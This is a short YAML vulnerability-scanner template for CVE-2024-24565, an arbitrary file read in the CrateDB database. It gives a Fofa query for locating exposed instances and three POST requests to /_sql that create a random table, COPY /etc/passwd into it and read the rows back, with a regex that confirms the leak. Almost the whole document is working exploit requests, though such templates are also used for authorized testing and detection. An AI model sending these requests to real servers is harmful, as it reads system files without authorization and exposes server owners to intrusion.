漏洞描述
Fofa: title="CrateDB"
id: CVE-2024-24565
info:
name: CrateDB数据库任意文件读取漏洞
author: zan8in
severity: high
verified: true
description: |-
Fofa: title="CrateDB"
reference:
- https://mp.weixin.qq.com/s/43ciyt7QFR3k3kjdfxZ7kQ
tags: cve,cve2024,fileread
created: 2024/02/21
set:
tablename: randomLowercase(8)
rules:
r0:
request:
method: POST
path: /_sql?types
headers:
Content-Type: application/json; charset=UTF-8
body: |
{"stmt":"CREATE TABLE {{tablename}}(info_leak STRING)"}
expression: response.status == 200
r1:
request:
method: POST
path: /_sql?types
headers:
Content-Type: application/json; charset=UTF-8
body: |
{"stmt":"COPY {{tablename}} FROM '/etc/passwd' with (format='csv', header=false)"}
expression: response.status == 200
r2:
request:
method: POST
path: /_sql?types
headers:
Content-Type: application/json; charset=UTF-8
body: |
{"stmt":"SELECT * FROM {{tablename}} limit 10"}
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() && r1() && r2()